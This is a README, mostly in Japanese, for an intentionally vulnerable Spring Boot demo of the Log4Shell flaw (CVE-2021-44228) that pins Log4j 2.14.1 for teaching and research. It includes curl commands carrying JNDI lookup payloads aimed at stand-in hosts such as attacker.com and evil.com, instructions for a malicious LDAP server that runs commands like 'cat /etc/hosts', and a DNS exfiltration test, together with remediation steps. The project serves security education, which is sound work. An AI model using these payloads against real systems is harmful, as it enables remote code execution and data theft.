Log4j2-BugMaker

CVE-2021-44228 Log4Shell 脆弱性デモプロジェクト

これは、Log4j2 のリモートコード実行脆弱性（Log4Shell）を学習・研究するためのデモプロジェクトです。

⚠️ セキュリティ警告

このプロジェクトはセキュリティ研究および教育目的のみに使用してください。本番環境では使用しないでください！

このプロジェクトは、重大なセキュリティ脆弱性を含む Log4j 2.14.1 を使用しています。

📋 環境構成

• Spring Boot: 2.6.1
• Log4j2: 2.14.1 (脆弱性のあるバージョン)
• Java: 8 (JDK 1.8)

🚀 クイックスタート

1. プロジェクトのコンパイル

./mvnw clean package

2. アプリケーションの起動

./mvnw spring-boot:run

または：

java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. アプリケーションへのアクセス

ブラウザで http://localhost:8080 にアクセスしてください

🎯 脆弱性エンドポイント

1. User-Agent ヘッダーインジェクション

curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. クエリパラメータインジェクション

curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. ヘルスチェック（脆弱性なし）

curl http://localhost:8080/api/health

💡 脆弱性の原理

Log4Shell (CVE-2021-44228) は Apache Log4j2 における重大な脆弱性です。アプリケーションが特殊なフォーマット文字列を含むユーザー入力をログに記録すると、Log4j2 は JNDI ルックアップ式を解析し、攻撃者はこの特性を利用してリモートコードを実行できます。

攻撃ペイロードの例

${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

テストペイロード（安全）

${java:version}
${java:os}
${env:PATH}

🔧 テスト手順

1. アプリケーションを起動する
2. JNDI 式を含むリクエストを送信する
3. コンソールログを確認し、Log4j2 の解析動作を観察する

🛡️ 修復策

方法 1：Log4j2 バージョンのアップグレード

Log4j2 を 2.17.1 以上にアップグレードします：

<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

方法 2：JVM パラメータの設定

-Dlog4j2.formatMsgNoLookups=true

方法 3：JndiLookup クラスの削除

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 リモートコード実行デモ

方法 1：提供されたツールを使用（推奨）

# 1. 运行自动化脚本
./setup-exploit-server.sh

# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令（如 whoami 或 cat /etc/hosts）
# 4. 在另一个终端发送攻击载荷

方法 2：Python LDAP サーバーを使用

# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"

# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"

# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

方法 3：DNS 外部持ち出しの検証（サーバー構築不要）

# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh

# 按提示操作，访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求

📚 参考資料

• CVE-2021-44228 詳細
• Apache Log4j セキュリティ勧告
• CISA 警告
• JNDI-Injection-Exploit
• JNDIExploit

📝 ライセンス

このプロジェクトは MIT License オープンソースライセンスを採用しています。

特記事項：このプロジェクトは教育およびセキュリティ研究目的のみに使用してください。使用上のリスクはすべて利用者の負担となります。

⚠️ 法的声明

無断で他人のシステムに対してペネトレーションテストを行うことは違法行為です！このプロジェクトは以下の目的にのみ使用してください：

• 自身のテスト環境での学習
• 許可を得たセキュリティテスト
• セキュリティ研究および教育目的

現地の法令を遵守し、これらの知識を責任を持って使用してください。